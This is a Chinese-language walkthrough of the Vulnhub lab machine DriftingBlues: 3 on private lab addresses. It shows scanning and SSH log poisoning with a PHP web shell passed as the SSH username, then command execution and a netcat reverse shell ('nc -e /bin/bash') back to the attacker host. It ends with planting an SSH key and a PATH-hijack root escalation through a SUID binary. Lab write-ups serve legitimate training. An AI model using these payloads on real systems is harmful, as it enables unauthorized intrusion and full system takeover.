Vulnhub: DriftingBlues: 3靶机

发布时间 2023-08-13 16:49:50作者: ctostm

kali:192.168.111.111

靶机:192.168.111.192

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.192

image

查看robots.txt得到提示

image

访问eventadmins提示littlequeenofspades.html

image

查看littlequeenofspades.html源码

image

base64解密后提示adminsfixit.php

image

访问后发现ssh日志内容会写入该文件

image

写入webshell

ssh '<?php system($_GET["cmd"]);?>'@192.168.111.192

image

执行命令

http://192.168.111.192/adminsfixit.php?cmd=id

image

获得反弹shell

http://192.168.111.192/adminsfixit.php?cmd=nc -e /bin/bash 192.168.111.111 4444

image

提权

robertj用户.ssh文件夹有写入权限

image

本地生成ssh公私钥,公钥文件名修改为authorized_keys后上传目标.ssh目录

ssh-keygen -f id_rsa
mv id_rsa.pub authorized_keys

image

登录后查找suid权限的文件

ssh robertj@192.168.111.192 -i id_rsa
find / -perm -u=s 2> /dev/null

image

执行该文件的同时会执行uname命令

strings getinfo

image

修改环境变量提权为root

echo '/bin/bash' > /tmp/uname
chmod 777 /tmp/uname
export PATH=/tmp:$PATH
/usr/bin/getinfo

image